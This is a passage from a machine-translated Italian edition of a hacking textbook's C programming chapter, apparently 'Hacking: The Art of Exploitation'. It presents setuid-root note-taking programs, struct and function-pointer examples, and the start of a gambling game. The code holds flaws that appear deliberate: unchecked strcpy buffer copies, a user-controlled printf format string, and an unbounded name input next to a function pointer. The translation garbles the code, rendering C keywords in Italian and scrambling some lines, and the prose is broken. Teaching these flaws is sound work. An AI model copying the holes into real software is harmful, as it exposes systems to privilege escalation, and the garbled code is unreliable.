è circondato da virgolette, il compilatore cerca nella directory corrente. Là-
quindi, se hacking.h è nella stessa directory di un programma, può essere incluso
con quel programma digitando #include "hacking.h" .
Le righe modificate per il nuovo programma notetaker (notetaker.c) sono
visualizzato in grassetto.

notetaker.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys / stat.h>
#include "hacking.h"

void usage (char * prog_name, char * filename) {


printf ("Utilizzo:% s <dati da aggiungere a% s> \ n", nome_programma, nomefile);
uscita (0);

Programmazione 91

Pagina 106

void fatal (char *); // Una funzione per errori irreversibili


void * ec_malloc (unsigned int); // Un wrapper malloc () controllato dagli errori

int main (int argc, char * argv []) {


int userid, fd; // Descrittore di file
char * buffer, * datafile;
buffer = (char *) ec_malloc (100);
datafile = (char *) ec_malloc (20);
strcpy (datafile, "/ var / notes");

if (argc <2) // Se non ci sono argomenti della riga di comando,


utilizzo (argv [0], datafile); // visualizza il messaggio di utilizzo ed esce.

strcpy (buffer, argv [1]); // Copia nel buffer.

printf ("[DEBUG] buffer @% p: \ '% s \' \ n", buffer, buffer);


printf ("[DEBUG] datafile @% p: \ '% s \' \ n", datafile, datafile);

// Apertura del file


fd = open (datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR);
se (fd == -1)
fatal ("in main () durante l'apertura del file");
printf ("[DEBUG] il descrittore di file è% d \ n", fd);

userid = getuid (); // Ottieni l'ID utente reale.

// Scrittura dei dati


if (write (fd, & userid, 4) == -1) // Scrive l'ID utente prima dei dati della nota.
fatal ("in main () durante la scrittura di userid nel file");
scrivi (fd, "\ n", 1); // Termina la linea.

if (write (fd, buffer, strlen (buffer)) == -1) // Scrivi la nota.


fatal ("in main () durante la scrittura del buffer nel file");
scrivi (fd, "\ n", 1); // Termina la linea.

// Chiusura del file


if (chiudi (fd) == -1)
fatal ("in main () durante la chiusura del file");

printf ("La nota è stata salvata. \ n");


libero (buffer);
libero (file di dati);
}

Il file di output è stato modificato da / tmp / notes a / var / notes, quindi il file
i dati sono ora archiviati in un luogo più permanente. La funzione getuid () è usata per
ottenere l'ID utente reale, che viene scritto nel file di dati sulla riga prima della nota
la linea è scritta. Poiché la funzione write () si aspetta un puntatore per la sua sorgente,
l' operatore & viene utilizzato sul valore intero userid per fornire il suo indirizzo.

92 0x200

Pagina 107

reader @ hacking: ~ / booksrc $ gcc -o notetaker notetaker.c


reader @ hacking: ~ / booksrc $ sudo chown root: root ./notetaker
reader @ hacking: ~ / booksrc $ sudo chmod u + s ./notetaker
lettore @ hacking: ~ / booksrc $ ls -l ./notetaker
-rwsr-xr-x 1 root root 9015 2007-09-07 05:48 ./notetaker
reader @ hacking: ~ / booksrc $ ./notetaker "questo è un test di note multiutente"
[DEBUG] buffer @ 0x804a008: "questo è un test di note multiutente"
[DEBUG] file di dati @ 0x804a070: "/ var / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
lettore @ hacking: ~ / booksrc $ ls -l / var / notes
-rw ------- 1 lettore di root 39 2007-09-07 05:49 / var / notes
lettore @ hacking: ~ / booksrc $

Nell'output precedente, il programma notetaker viene compilato e modificato


essere di proprietà di root e viene impostata l' autorizzazione setuid . Ora quando il programma
viene eseguito, il programma viene eseguito come utente root, quindi anche il file / var / notes
di proprietà di root quando viene creato.

lettore @ hacking: ~ / booksrc $ cat / var / notes


cat: / var / notes: Autorizzazione negata
lettore @ hacking: ~ / booksrc $ sudo cat / var / notes
?
questo è un test di note multiutente
lettore @ hacking: ~ / booksrc $ sudo hexdump -C / var / notes
00000000 e7 03 00 00 0a 74 68 69 73 20 69 73 20 61 20 74 | ..... questo è a |
00000010 65 73 74 20 6f 66 20 6d 75 6c 74 69 75 73 65 72 | est multiutente |
00000020 20 6e 6f 74 65 73 0a | note. |
00000027
lettore @ hacking: ~ / booksrc $ pcalc 0x03e7
999 0x3e7 0y1111100111
lettore @ hacking: ~ / booksrc $

Il file / var / notes contiene l'ID utente del lettore (999) e la nota.
A causa dell'architettura little-endian, compaiono i 4 byte dell'intero 999
invertito in esadecimale (mostrato in grassetto sopra).
Affinché un normale utente possa leggere i dati della nota, un
ing setuid è necessaria programma principale. Il programma notesearch.c leggerà il file
annotare i dati e visualizzare solo le note scritte da quell'ID utente. Inoltre, un file
È possibile fornire un argomento facoltativo della riga di comando per una stringa di ricerca. quando
viene utilizzato, verranno visualizzate solo le note che corrispondono alla stringa di ricerca.

notesearch.c

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys / stat.h>
#include "hacking.h"

Programmazione 93
Pagina 108

#define FILENAME "/ var / notes"

int print_notes (int, int, char *); // Funzione di stampa delle note.
int find_user_note (int, int); // Cerca nel file una nota per l'utente.
int search_note (char *, char *); // Cerca la funzione parola chiave.
void fatal (char *); // Gestore di errori irreversibili

int main (int argc, char * argv []) {


int userid, stampa = 1, fd; // Descrittore di file
char searchstring [100];

if (argc> 1) // Se c'è un arg,


strcpy (stringa di ricerca, argv [1]); // questa è la stringa di ricerca;
altro // altrimenti,
stringa di ricerca [0] = 0; // la stringa di ricerca è vuota.

userid = getuid ();


fd = open (FILENAME, O_RDONLY); // Apre il file per l'accesso in sola lettura.
se (fd == -1)
fatal ("in main () durante l'apertura del file in lettura");

mentre (stampa)
stampa = print_notes (fd, userid, searchstring);
printf ("------- [dati di fine nota] ------- \ n");
chiudere (fd);
}

// Una funzione per stampare le note per un dato uid che corrisponde
// una stringa di ricerca opzionale;
// restituisce 0 alla fine del file, 1 se ci sono ancora più note.
int print_notes (int fd, int uid, char * searchstring) {
int note_length;
char byte = 0, note_buffer [100];

note_length = find_user_note (fd, uid);


if (note_length == -1) // Se viene raggiunta la fine del file,
return 0; // restituisce 0.

read (fd, note_buffer, note_length); // Legge i dati della nota.


note_buffer [note_length] = 0; // Termina la stringa.

if (search_note (note_buffer, searchstring)) // Se searchstring trovata,


printf (note_buffer); // stampa la nota.
ritorno 1;
}

// Una funzione per trovare la nota successiva per un dato ID utente;


// restituisce -1 se viene raggiunta la fine del file;
// in caso contrario, restituisce la lunghezza della nota trovata.
int find_user_note (int fd, int user_uid) {
int note_uid = -1;
byte di caratteri senza segno;
int length;

while (note_uid! = user_uid) {// Continua finché non viene trovata una nota per user_uid.

94 0x200

Pagina 109

if (read (fd, & note_uid, 4)! = 4) // Leggi i dati uid.


return -1; // Se 4 byte non vengono letti, restituisce il codice di fine file.
if (read (fd, & byte, 1)! = 1) // Legge il separatore di nuova riga.
return -1;

byte = lunghezza = 0;
while (byte! = '\ n') {// Calcola quanti byte mancano alla fine della riga.
if (read (fd, & byte, 1)! = 1) // Legge un singolo byte.
return -1; // Se byte non viene letto, restituisce la fine del codice del file.
length ++;
}
}
lseek (fd, lunghezza * -1, SEEK_CUR); // Riavvolge la lettura del file in base alla lunghezza dei byte.

printf ("[DEBUG] ha trovato una nota di% d byte per l'ID utente% d \ n", length, note_uid);
lunghezza di ritorno;
}

// Una funzione per cercare una nota per una determinata parola chiave;
// restituisce 1 se viene trovata una corrispondenza, 0 se non esiste alcuna corrispondenza.
int search_note (char * note, char * keyword) {
int i, keyword_length, match = 0;

keyword_length = strlen (parola chiave);


if (keyword_length == 0) // Se non è presente una stringa di ricerca,
ritorno 1; // "corrisponde sempre".

for (i = 0; i <strlen (note); i ++) {// Iterate over bytes in note.


if (nota [i] == parola chiave [corrispondenza]) // Se byte corrisponde alla parola chiave,
match ++; // preparatevi a controllare il byte successivo;
altro { // altrimenti,
if (nota [i] == parola chiave [0]) // se quel byte corrisponde al primo byte della parola chiave,
match = 1; // inizia il conteggio delle partite da 1.
altro
match = 0; // Altrimenti è zero.
}
if (match == keyword_length) // Se c'è una corrispondenza completa,
ritorno 1; // restituisce una corrispondenza.
}
return 0; // Restituzione non corrispondente.
}

La maggior parte di questo codice dovrebbe avere senso, ma ci sono alcuni nuovi concetti.
Il nome del file è definito in alto invece di utilizzare la memoria heap. Anche il
la funzione lseek () viene utilizzata per riavvolgere la posizione di lettura nel file. La funzione
chiamata di lseek (fd, length * -1, SEEK_CUR); dice al programma di spostare la lettura
posizione in avanti dalla posizione corrente nel file per lunghezza * -1 byte.
Poiché questo risulta essere un numero negativo, la posizione viene spostata all'indietro
per lunghezza byte.

reader @ hacking: ~ / booksrc $ gcc -o notesearch notesearch.c


reader @ hacking: ~ / booksrc $ sudo chown root: root ./notesearch
reader @ hacking: ~ / booksrc $ sudo chmod u + s ./notesearch
lettore @ hacking: ~ / booksrc $ ./notesearch

Programmazione 95

Pagina 110

[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999


questo è un test di note multiutente
------- [dati di fine nota] -------
lettore @ hacking: ~ / booksrc $

Quando compilato e setuid root, il programma funziona come notesearch


previsto. Ma questo è solo un singolo utente; cosa succede se un utente diverso utilizza
i programmi notetaker e notesearch?

lettore @ hacking: ~ / booksrc $ sudo su jose


jose @ hacking: / home / reader / booksrc $ ./notetaker "Questa è una nota per jose"
[DEBUG] buffer @ 0x804a008: "Questa è una nota per jose"
[DEBUG] file di dati @ 0x804a070: "/ var / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
jose @ hacking: / home / reader / booksrc $ ./notesearch
[DEBUG] ha trovato una nota di 24 byte per l'ID utente 501
Questa è una nota per Jose
------- [dati di fine nota] -------
jose @ hacking: / home / reader / booksrc $

Quando l'utente jose utilizza questi programmi, l'ID utente reale è 501. Questo
significa che il valore viene aggiunto a tutte le note scritte con notetaker e solo alle note
con un ID utente corrispondente verrà visualizzato dal programma notesearch.

reader @ hacking: ~ / booksrc $ ./notetaker "Questa è un'altra nota per l'utente lettore"
[DEBUG] buffer @ 0x804a008: "Questa è un'altra nota per l'utente lettore"
[DEBUG] file di dati @ 0x804a070: "/ var / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
lettore @ hacking: ~ / booksrc $ ./notesearch
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
questo è un test di note multiutente
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
Questa è un'altra nota per l'utente lettore
------- [dati di fine nota] -------
lettore @ hacking: ~ / booksrc $

Allo stesso modo, tutte le note per il lettore utente hanno l'ID utente 999 allegato
loro. Anche se entrambi i programmi notetaker e notesearch sono suid
root e avere pieno accesso in lettura e scrittura al file di dati / var / notes, il
la logica del grammo nel programma di ricerca delle note impedisce all'utente corrente di visualizzare
le note di altri utenti. Questo è molto simile a come viene memorizzato il file / etc / passwd
informazioni utente per tutti gli utenti, ma programmi come chsh e passwd consentono a qualsiasi utente
per cambiare la propria shell o password.

0x284 Structs
A volte ci sono più variabili che dovrebbero essere raggruppate insieme e
trattato come tale. In C, le strutture sono variabili che possono contenere molte altre variabili
abili. Le strutture sono spesso utilizzate da varie funzioni di sistema e librerie, quindi
capire come usare gli struct è un prerequisito per usare queste funzioni.

96 0x200

Pagina 111

Per ora basterà un semplice esempio. Quando si ha a che fare con molte funzioni temporali,
queste funzioni usano una struttura temporale chiamata tm , che è definita in / usr / include /
time.h. La definizione della struttura è la seguente.

struct tm {
int tm_sec; / * secondi * /
int tm_min; /* minuti */
int tm_hour; /* ore */
int tm_mday; / * giorno del mese * /
int tm_mon; /* mese */
int tm_year; /* anno */
int tm_wday; /* giorno della settimana */
int tm_yday; / * giorno dell'anno * /
int tm_isdst; / * ora legale * /
};

Dopo che questa struttura è stata definita, struct tm diventa un tipo di variabile utilizzabile, che
può essere utilizzato per dichiarare variabili e puntatori con il tipo di dati della struttura tm .
Il programma time_example.c lo dimostra. Quando time.h è incluso,
la tm struct è definita, che viene poi utilizzata per dichiarare il current_time e
variabili time_ptr .

time_example.c

#include <stdio.h>
#include <time.h>

int main () {
long int seconds_since_epoch;
struct tm current_time, * time_ptr;
int ora, minuto, secondo, giorno, mese, anno;

seconds_since_epoch = time (0); // Passa al tempo un puntatore nullo come argomento.


printf ("time () - secondi dall'epoca:% ld \ n", seconds_since_epoch);

time_ptr = & current_time; // Imposta time_ptr all'indirizzo di


// la struttura current_time.
localtime_r (& seconds_since_epoch, time_ptr);

// Tre modi diversi per accedere agli elementi della struttura:


ora = current_time.tm_hour; // Accesso diretto
minuto = time_ptr-> tm_min; // Accesso tramite puntatore
secondo = * ((int *) time_ptr); // Accesso al puntatore hacker

printf ("L'ora corrente è:% 02d:% 02d:% 02d \ n", ora, minuto, secondo);
}

La funzione time () restituirà il numero di secondi dal 1 gennaio,


1970. Il tempo sui sistemi Unix viene mantenuto rispetto a questo punto piuttosto arbitrario
tempo, che è anche conosciuto come l' epoca . La funzione localtime_r () si aspetta due
puntatori come argomenti: uno al numero di secondi trascorsi da epoch e il
altro a una struttura tm . Il puntatore time_ptr è già stato impostato sull'indirizzo

Programmazione 97

Pagina 112

di current_time , una struttura tm vuota . L'indirizzo dell'operatore viene utilizzato per fornire
un puntatore a seconds_since_epoch per l'altro argomento a localtime_r () , che
riempie gli elementi della struttura tm . È possibile accedere agli elementi delle strutture in
tre modi diversi; i primi due sono i modi corretti per accedere agli elementi della struttura,
e la terza è una soluzione compromessa. Se viene utilizzata una variabile struct, i suoi elementi possono
accessibile aggiungendo i nomi degli elementi alla fine del nome della variabile
con un punto. Pertanto, current_time.tm_hour accederà solo a tm_hour
elemento della struttura tm chiamato current_time . I puntatori alle strutture vengono spesso utilizzati,
poiché è molto più efficiente passare un puntatore a quattro byte rispetto a un intero dato
struttura. I puntatori a Struct sono così comuni che C ha un metodo incorporato per
accedere agli elementi struct da un puntatore a struct senza dover dereferenziare
il puntatore. Quando si usa un puntatore a struttura come time_ptr , gli elementi struct possono essere
accessibile in modo simile dal nome dell'elemento struct, ma utilizzando una serie di caratteri
sembra una freccia che punta a destra. Pertanto, time_ptr-> tm_min lo farà
accedere all'elemento tm_min della struttura tm a cui punta time_ptr . Il
secondi è possibile accedere tramite uno di questi metodi appropriati, utilizzando il
tm_sec o
la struttura tm , ma viene utilizzato un terzo metodo. Riesci a capire
come funziona questo terzo metodo?

reader @ hacking: ~ / booksrc $ gcc time_example.c


lettore @ hacking: ~ / booksrc $ ./a.out
time () - secondi dall'epoca: 1189311588
L'ora attuale è: 04:19:48
lettore @ hacking: ~ / booksrc $ ./a.out
time () - secondi dall'epoca: 1189311600
L'ora attuale è: 04:20:00
lettore @ hacking: ~ / booksrc $

Il programma funziona come previsto, ma come si accede ai secondi


nella struttura tm ? Ricorda che alla fine è solo memoria. Poiché tm_sec è
definito all'inizio della struttura tm , quel valore intero si trova anche in
l'inizio. Nella riga second = * ((int *) time_ptr) , la variabile time_ptr
è typecast da un puntatore a una struttura tm a un puntatore intero. Quindi questo typecast
il puntatore viene dereferenziato, restituendo i dati all'indirizzo del puntatore. Da
l'indirizzo alla struttura tm punta anche al primo elemento di questa struttura, questo
recupererà il valore intero per tm_sec nella struttura. La seguente aggiunta
al codice time_example.c (time_example2.c) scarica anche i byte del file
current_time. Questo mostra che gli elementi di tm struct sono proprio accanto a ciascuno
altro in memoria. Gli elementi più in basso nella struttura possono anche essere direttamente
accessibile con puntatori semplicemente aggiungendo all'indirizzo del puntatore.

time_example2.c

#include <stdio.h>
#include <time.h>

void dump_time_struct_bytes (struct tm * time_ptr, int size) {


int i;
char non firmato * raw_ptr;

98 0x200

Pagina 113

printf ("byte di struttura situati a 0x% 08x \ n", time_ptr);


raw_ptr = (unsigned char *) time_ptr;
per (i = 0; i <dimensione; i ++)
{
printf ("% 02x", raw_ptr [i]);
if (i% 16 == 15) // Stampa una nuova riga ogni 16 byte.
printf ("\ n");
}
printf ("\ n");
}

int main () {
long int seconds_since_epoch;
struct tm current_time, * time_ptr;
int ora, minuti, secondi, i, * int_ptr;

seconds_since_epoch = time (0); // Passa al tempo un puntatore nullo come argomento.


printf ("time () - secondi dall'epoca:% ld \ n", seconds_since_epoch);

time_ptr = & current_time; // Imposta time_ptr all'indirizzo di


// la struttura current_time.
localtime_r (& seconds_since_epoch, time_ptr);

// Tre modi diversi per accedere agli elementi della struttura:


ora = current_time.tm_hour; // Accesso diretto
minuto = time_ptr-> tm_min; // Accesso tramite puntatore
secondo = * ((int *) time_ptr); // Accesso al puntatore hacker

printf ("L'ora corrente è:% 02d:% 02d:% 02d \ n", ora, minuto, secondo);

dump_time_struct_bytes (time_ptr, sizeof (struct tm));

minuto = ora = 0; // Cancella minuti e ore.


int_ptr = (int *) time_ptr;

for (i = 0; i <3; i ++) {


printf ("int_ptr @ 0x% 08x:% d \ n", int_ptr, * int_ptr);
int_ptr ++; // Aggiungendo 1 a int_ptr si aggiunge 4 all'indirizzo,
} // poiché un int ha una dimensione di 4 byte.
}

I risultati della compilazione e dell'esecuzione di time_example2.c sono i seguenti.

reader @ hacking: ~ / booksrc $ gcc -g time_example2.c


lettore @ hacking: ~ / booksrc $ ./a.out
time () - secondi dall'epoca: 1189311744
L'ora corrente è: 04:22:24
byte di struct situati in 0xbffff7f0
18 00 00 00 16 00 00 00 04 00 00 00 09 00 00 00
08 00 00 00 6b 00 00 00 00 00 00 00 fb 00 00 00
00 00 00 00 00 00 00 00 28 a0 04 08
int_ptr @ 0xbffff7f0: 24
int_ptr @ 0xbffff7f4: 22
int_ptr @ 0xbffff7f8: 4
lettore @ hacking: ~ / booksrc $

Programmazione 99

Pagina 114

Sebbene sia possibile accedere alla memoria della struttura in questo modo, vengono fatte delle ipotesi
sul tipo di variabili nella struttura e sulla mancanza di riempimento tra
variabili. Poiché i tipi di dati degli elementi di una struttura vengono memorizzati anche in
struct, usare metodi appropriati per accedere agli elementi struct è molto più semplice.

0x285 Puntatori a funzione


Un puntatore contiene semplicemente un indirizzo di memoria e viene assegnato un tipo di dati tale
descrive dove punta. Di solito, i puntatori vengono utilizzati per le variabili; però,
possono essere utilizzati anche per funzioni. Il programma funcptr_example.c
dimostra l'uso di puntatori a funzione.

funcptr_example.c

#include <stdio.h>

int func_one () {
printf ("Questa è la funzione uno \ n");
ritorno 1;
}

int func_two () {
printf ("Questa è la funzione due \ n");
ritorno 2;
}

int main () {
valore int;
int (* function_ptr) ();

function_ptr = func_one;
printf ("function_ptr è 0x% 08x \ n", function_ptr);
valore = function_ptr ();
printf ("il valore restituito era% d \ n", valore);

function_ptr = func_two;
printf ("function_ptr è 0x% 08x \ n", function_ptr);
valore = function_ptr ();
printf ("il valore restituito era% d \ n", valore);
}

In questo programma, viene dichiarato un puntatore a funzione chiamato in modo appropriato function_ptr
in main () . Questo puntatore viene quindi impostato per puntare alla funzione func_one () ed è
chiamato; quindi viene impostato di nuovo e utilizzato per chiamare func_two () . L'output di seguito mostra
la compilazione e l'esecuzione di questo codice sorgente.

reader @ hacking: ~ / booksrc $ gcc funcptr_example.c


lettore @ hacking: ~ / booksrc $ ./a.out
function_ptr è 0x08048374
Questa è la funzione uno
il valore restituito era 1

100 0x200

Pagina 115
function_ptr è 0x0804838d
Questa è la funzione due
il valore restituito era 2
lettore @ hacking: ~ / booksrc $

0x286 Numeri pseudo-casuali


Poiché i computer sono macchine deterministiche, è impossibile per loro
produrre numeri veramente casuali. Ma molte applicazioni richiedono una qualche forma di
casualità. Le funzioni del generatore di numeri pseudo-casuali soddisfano questa esigenza
generando un flusso di numeri che è pseudo-casuale . Queste funzioni
può produrre una sequenza di numeri apparentemente casuale iniziata da un seme
numero; tuttavia, la stessa sequenza esatta può essere generata di nuovo con il
stesso seme. Le macchine deterministiche non possono produrre una vera casualità, ma se
il valore seed della funzione di generazione pseudo-casuale non è noto, il
la sequenza sembrerà casuale. Il generatore deve essere seminato con un valore
usando la funzione srand () , e da quel punto in poi, la funzione rand () lo farà
restituisce un numero pseudocasuale da 0 a RAND_MAX . Queste funzioni e
RAND_MAX sono definiti in stdlib.h. Mentre appariranno i numeri rand ()
per essere casuali, dipendono dal valore seed fornito a srand () .
Per mantenere la pseudo-casualità tra le successive esecuzioni del programma,
il randomizzatore deve essere seminato con un valore diverso ogni volta. Uno comune
la pratica consiste nell'usare il numero di secondi trascorsi da epoch (restituito da time ()
funzione) come seme. Il programma rand_example.c lo dimostra
tecnica.

rand_example.c

#include <stdio.h>
#include <stdlib.h>

int main () {
int i;
printf ("RAND_MAX è% u \ n", RAND_MAX);
srand (time (0));

printf ("valori casuali da 0 a RAND_MAX \ n");


per (i = 0; i <8; i ++)
printf ("% d \ n", rand ());
printf ("valori casuali da 1 a 20 \ n");
per (i = 0; i <8; i ++)
printf ("% d \ n", (rand ()% 20) +1);
}

Si noti come viene utilizzato l'operatore modulo per ottenere valori casuali da
Da 1 a 20.

reader @ hacking: ~ / booksrc $ gcc rand_example.c


lettore @ hacking: ~ / booksrc $ ./a.out
RAND_MAX è 2147483647
valori casuali da 0 a RAND_MAX

Programmazione 101

Pagina 116

815015288
1315541117
2080969327
450538726
710528035
907694519
1525415338
1843056422
valori casuali da 1 a 20
2
3
8
5
9
1
4
20
lettore @ hacking: ~ / booksrc $ ./a.out
RAND_MAX è 2147483647
valori casuali da 0 a RAND_MAX
678789658
577505284
1472754734
2134715072
1227404380
1746681907
341911720
93522744
valori casuali da 1 a 20
6
16
12
19
8
19
2
1
lettore @ hacking: ~ / booksrc $

L'output del programma mostra solo numeri casuali. Pseudo-casualità


può essere utilizzato anche per programmi più complessi, come vedrai in questa sezione
sceneggiatura finale.

0x287 Un gioco d'azzardo


Il programma finale in questa sezione è un insieme di giochi d'azzardo che ne utilizzano molti
dei concetti che abbiamo discusso. Il programma utilizza un numero pseudo-casuale
funzioni del generatore per fornire l'elemento del caso. Ne ha tre differenti
funzioni di gioco, che vengono chiamate utilizzando un singolo puntatore a funzione globale e
usa gli struct per contenere i dati per il giocatore, che viene salvato in un file. File multiutente
le autorizzazioni e gli ID utente consentono a più utenti di giocare e mantenere i propri
dati dell'account. Il codice del programma game_of_chance.c è ampiamente documentato,
e dovresti essere in grado di capirlo a questo punto.

102 0x200

Pagina 117

game_of_chance.c

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys / stat.h>
#include <time.h>
#include <stdlib.h>
#include "hacking.h"

#define DATAFILE "/var/chance.data" // File per memorizzare i dati dell'utente

// Struttura utente personalizzata per memorizzare le informazioni sugli utenti


struct user {
int uid;
int crediti;
int highscore;
nome del carattere [100];
int (* current_game) ();
};

// Prototipi di funzioni
int get_player_data ();
void register_new_player ();
void update_player_data ();
void show_highscore ();
jackpot nullo ();
void input_name ();
void print_cards (char *, char *, int);
int take_wager (int, int);
void play_the_game ();
int pick_a_number ();
int dealer_no_match ();
int find_the_ace ();
void fatal (char *);

// Variabili globali
struct user player; // Struttura del giocatore

int main () {
int choice, last_game;

srand (time (0)); // Imposta il randomizzatore con l'ora corrente.

if (get_player_data () == -1) // Prova a leggere i dati del giocatore dal file.


register_new_player (); // Se non ci sono dati, registra un nuovo giocatore.

while (scelta! = 7) {
printf ("- = [Menu del gioco d'azzardo] = - \ n");
printf ("1 - Gioca al gioco Scegli un numero \ n");
printf ("2 - Gioca al gioco No Match Dealer \ n");
printf ("3 - Gioca al gioco Trova l'asso \ n");
printf ("4 - Visualizza il punteggio più alto attuale \ n");
printf ("5 - Cambia il tuo nome utente \ n");

Programmazione 103

Pagina 118

printf ("6 - Reimposta il tuo account a 100 crediti \ n");


printf ("7 - Esci \ n");
printf ("[Nome:% s] \ n", player.name);
printf ("[Hai% u crediti] ->", player.credits);
scanf ("% d", & choice);

se ((scelta <1) || (scelta> 7))


printf ("\ n [!!] Il numero% d è una selezione non valida. \ n \ n", scelta);
altrimenti se (scelta <4) { // Altrimenti, la scelta era un gioco di qualche tipo.
if (choice! = last_game) {// Se la funzione ptr non è impostata
se (scelta == 1) // quindi puntalo sul gioco selezionato
player.current_game = pick_a_number;
altrimenti se (scelta == 2)
player.current_game = dealer_no_match;
altro
player.current_game = find_the_ace;
last_game = scelta; // e imposta last_game.
}
giocare il gioco(); // Giocare il gioco.
}
altrimenti se (scelta == 4)
show_highscore ();
altrimenti se (scelta == 5) {
printf ("\ nCambia nome utente \ n");
printf ("Inserisci il tuo nuovo nome:");
input_name ();
printf ("Il tuo nome è stato cambiato. \ n \ n");
}
altrimenti se (scelta == 6) {
printf ("\ nIl tuo account è stato ripristinato con 100 crediti. \ n \ n");
player.credits = 100;
}
}
update_player_data
printf ("\ nGrazie per();aver giocato! Ciao. \ n");
}

// Questa funzione legge i dati del giocatore per l'uid corrente


// dal file. Restituisce -1 se non è in grado di trovare il giocatore
// dati per l'uid corrente.
int get_player_data () {
int fd, uid, read_bytes;
struct user entry;

uid = getuid ();

fd = aperto (DATAFILE, O_RDONLY);


if (fd == -1) // Impossibile aprire il file, forse non esiste
return -1;
read_bytes = read (fd, & entry, sizeof (struct user)); // Leggi il primo pezzo.
while (entry.uid! = uid && read_bytes> 0) {// Continua finché non viene trovato l'uid corretto.
read_bytes = read (fd, & entry, sizeof (struct user)); // Continua a leggere.
}
chiudere (fd); // Chiude il file.
if (read_bytes <sizeof (struct user)) // Ciò significa che è stata raggiunta la fine del file.

104 0x200

Pagina 119

return -1;
altro
giocatore = entrata; // Copia la voce di lettura nella struttura del lettore.
ritorno 1; // Restituisce un successo.
}

// Questa è la nuova funzione di registrazione dell'utente.


// Creerà un nuovo account giocatore e lo aggiungerà al file.
void register_new_player () {
int fd;

printf ("- = - = {Registrazione nuovo giocatore} = - = - \ n");


printf ("Inserisci il tuo nome:");
input_name ();

player.uid = getuid ();


player.highscore = player.credits = 100;

fd = open (DATAFILE, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR);


se (fd == -1)
fatal ("in register_new_player () durante l'apertura del file");
scrivi (fd, & player, sizeof (struct user));
chiudere (fd);

printf ("\ nBenvenuto nel gioco delle possibilità% s. \ n", player.name);


printf ("Ti sono stati dati% u crediti. \ n", player.credits);
}

// Questa funzione scrive i dati del giocatore corrente nel file.


// Viene utilizzato principalmente per aggiornare i crediti dopo i giochi.
void update_player_data () {
int fd, i, read_uid;
char burned_byte;

fd = open (DATAFILE, O_RDWR);


if (fd == -1) // Se qui l'apertura fallisce, qualcosa è veramente sbagliato.
fatal ("in update_player_data () durante l'apertura del file");
leggi (fd, & read_uid, 4); // Legge l'uid dalla prima struttura.
while (read_uid! = player.uid) {// Continua finché non viene trovato l'uid corretto.
for (i = 0; i <sizeof (struct user) - 4; i ++) // Leggi attraverso il
leggi (fd, & burned_byte, 1); // resto di quella struttura.
leggi (fd, & read_uid, 4); // Legge l'uid dalla struttura successiva.
}
scrivi (fd, & (player.credits), 4); // Aggiorna i crediti.
scrivi (fd, & (player.highscore), 4); // Aggiorna il punteggio più alto.
scrivi (fd, & (player.name), 100); // Aggiorna il nome.
chiudere (fd);
}

// Questa funzione visualizzerà il punteggio più alto corrente e


// il nome della persona che ha stabilito il punteggio più alto.
void show_highscore () {
unsigned int top_score = 0;
char top_name [100];
struct user entry;

Programmazione 105

Pagina 120

int fd;

printf ("\ n ==================== | PUNTEGGIO MIGLIORE | ==================== \ n ");


fd = aperto (DATAFILE, O_RDONLY);
se (fd == -1)
fatal ("in show_highscore () durante l'apertura del file");
while (read (fd, & entry, sizeof (struct user))> 0) {// Ciclo fino alla fine del file.
if (entry.highscore> top_score) {// Se c'è un punteggio più alto,
top_score = entry.highscore; // imposta top_score a quel punteggio
strcpy (top_name, entry.name); // e top_name a quel nome utente.
}
}
chiudere (fd);
if (top_score> player.highscore)
printf ("% s ha il punteggio più alto di% u \ n", top_name, top_score);
altro
printf ("Attualmente hai il punteggio più alto di% u crediti! \ n", player.highscore);
printf ("=============================================== ======= \ n \ n ");
}

// Questa funzione assegna semplicemente il jackpot per il gioco Pick a Number.


void jackpot () {
printf ("* + * + * + * + * + * JACKPOT * + * + * + * + * + * \ n");
printf ("Hai vinto il jackpot di 100 crediti! \ n");
player.credits + = 100;
}

// Questa funzione viene utilizzata per inserire il nome del giocatore, da allora
// scanf ("% s", & qualunque cosa) interromperà l'input al primo spazio.
void input_name () {
char * name_ptr, input_char = '\ n';
while (input_char == '\ n') // Elimina gli avanzi
scanf ("% c", & input_char); // caratteri di nuova riga.

name_ptr = (char *) & (player.name); // name_ptr = indirizzo del nome del giocatore
while (input_char! = '\ n') {// Ciclo fino a nuova riga.
* name_ptr = input_char; // Inserisce il carattere di input nel campo del nome.
scanf ("% c", & input_char); // Ottieni il carattere successivo.
name_ptr ++; // Incrementa il puntatore del nome.
}
* name_ptr = 0; // Termina la stringa.
}

// Questa funzione stampa le 3 carte per il gioco Trova l'asso.


// Si aspetta che venga visualizzato un messaggio, un puntatore all'array delle carte,
// e la carta che l'utente ha scelto come input. Se user_pick è
// -1, quindi vengono visualizzati i numeri di selezione.
void print_cards (char * message, char * cards, int user_pick) {
int i;

printf ("\ n \ t ***% s *** \ n", messaggio);


printf ("\ t ._. \ t ._. \ t ._. \ n");
printf ("Carte: \ t |% c | \ t |% c | \ t |% c | \ n \ t", carte [0], carte [1], carte [2]);
if (user_pick == -1)
printf ("1 \ t 2 \ t 3 \ n");

106 0x200

Pagina 121

altro {
for (i = 0; i <user_pick; i ++)
printf ("\ t");
printf ("^ - la tua scelta \ n");
}
}

// Questa funzione inserisce le scommesse sia per il No Match Dealer che per
// Trova i giochi Ace. Si aspettano i crediti disponibili e il
// scommessa precedente come argomenti. La scommessa_precedente è importante solo
// per la seconda scommessa nel gioco Trova l'asso. La funzione
// restituisce -1 se la scommessa è troppo grande o troppo piccola e ritorna
// l'importo della scommessa altrimenti.
int take_wager (int available_credits, int previous_wager) {
int wager, total_wager;

printf ("Quanti dei tuoi% d crediti vorresti scommettere?", available_credits);


scanf ("% d", & wager);
if (wager <1) {// Assicurati che la scommessa sia maggiore di 0.
printf ("Bel tentativo, ma devi scommettere un numero positivo! \ n");
return -1;
}
total_wager = previous_wager + wager;
if (total_wager> available_credits) {// Conferma i crediti disponibili
